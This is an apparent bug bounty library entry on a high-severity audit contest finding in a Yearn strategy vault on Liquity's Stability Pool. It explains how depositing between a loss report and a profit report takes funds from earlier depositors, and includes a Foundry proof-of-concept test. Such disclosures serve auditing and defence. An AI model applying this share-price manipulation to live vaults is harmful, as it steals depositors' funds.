# Attacker can deposit after the keeper reports a loss, but before the collateral auction to steal from other depositors

Yearn Ybold strategy reports a loss after Stability Pool liquidation but before collateral auction, letting an attacker deposit cheap shares and redeem after profit report.

- Payout: Audit contest
- Severity: high
- Program: Yearn Ybold
- Found by: 0x15
- Disclosed: 2025-05-21
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2025-05-yearn-ybold-judging/issues/155
- Library page: https://bugbountylibrary.com/r/sherlock%3A2025-05-yearn-ybold%3AH-2
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:chained vuln:accounting-error vuln:business-logic

**Target:** Yearn strategy vault integrated with Liquity Bold Stability Pool
**Root cause:** Strategy's report() records a loss when BOLD balance drops from Stability Pool liquidations while unprocessed collateral gains are not yet realized, temporarily lowering price per share. A later report() after tend() auction realizes the collateral as profit, restoring PPS.
**Steps:**
1. User deposits 100e18 into strategy
2. Simulate Stability Pool liquidation via `_stabilityPool.offset(1000000e18, 1000e18)` reducing BOLD, adding collateral gain
3. Keeper calls `strategy.report()` recording loss, lowering PPS
4. Attacker deposits 100e18 at discounted PPS
5. Keeper calls `strategy.tend()` to auction collateral for BOLD
6. Keeper calls `strategy.report()` recording profit, raising PPS
7. Attacker calls `strategy.redeem(balanceOf(attacker), attacker, attacker)` for profit; original user redeems at loss
**How found:** Researcher reasoned about the accounting gap between Stability Pool liquidation (BOLD decrease, collateral gain unrealized) and the subsequent auction/profit report, recognizing the temporary PPS dip as an arbitrage window.
**Exploitation:** Attacker monitors for Stability Pool liquidations and frontruns the keeper's loss-reporting report() by depositing at depressed PPS, then waits for tend() auction and profit report() to restore PPS, redeeming shares for ~32.5% gain stolen from prior depositors. Requires management to set doHealthCheck=false or lossLimitRatio>0 so loss is reported.
**Insight:** In vault strategies that report PPS from a single asset balance while holding unrealized collateral gains, look for windows where a loss is reported before the offsetting gain is realized — deposit/redeem around report() calls is a classic share-price manipulation vector.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test exploiting loss-then-profit report**

```
function test_POC__Attack__Final() public {
        setFees(0, 0);

        vm.startPrank(management);
        strategy.setDoHealthCheck(false);
        strategy.setProfitMaxUnlockTime(0);
        vm.stopPrank();

        // User deposits into the strategy
        uint256 userDepositAmount= 100e18;
        mintAndDepositIntoStrategy(strategy, user, userDepositAmount);

        // Earn Collateral, lose principal
        simulateLargeLiquidation(1000000e18, 1000e18);

        IStabilityPool _stabilityPool = IStabilityPool(strategy.SP());
        uint256 _expectedCollateralGain = _stabilityPool.getDepositorCollGain(address(strategy));
        assertEq(ERC20(strategy.COLL()).balanceOf(address(strategy)), 0);

        // Report the loss
        vm.prank(keeper);
        (uint256 profitFromReport, uint256 lossFromReport) = strategy.report();

        // Attacker frontruns the call to `tend` and `report` by depositing
        address attacker = address(98989898);
        uint256 attackerDepositAmount = 100e18;
        airdrop(asset, attacker, attackerDepositAmount);
        depositIntoStrategy(strategy, attacker, attackerDepositAmount);

        // Call tend and simulate the auction process to sell the collateral to repay the initial "loss"
        vm.prank(keeper);
        strategy.tend();
        airdrop(asset, address(strategy), lossFromReport);

        // Report 
        vm.prank(keeper);
        (uint256 profit, uint256 loss) = strategy.report();

        // Attacker redeems all their shares for a profit, 
        // stealing from the other depositor who is left with a loss the same amount
        vm.startPrank(attacker);
        strategy.redeem(strategy.balanceOf(attacker), attacker, attacker);
        console.log("attacker profit %e", asset.balanceOf(attacker) - attackerDepositAmount);

        // user redeems all their shares for a loss
        vm.startPrank(user);
        strategy.redeem(strategy.balanceOf(user), user, user);
        console.log("user loss %e", userDepositAmount - asset.balanceOf(user));
    }
```

**Helper simulating stability pool liquidation**

```
function simulateLargeLiquidation(uint256 _debtToOffset, uint256 _collToAdd) public {
        IStabilityPool _stabilityPool = IStabilityPool(stabilityPool);

        // Simulate the liquidation by calling offset on the stability pool
        vm.prank(address(_stabilityPool.troveManager()));
        _stabilityPool.offset(_debtToOffset, _collToAdd);
    }
```

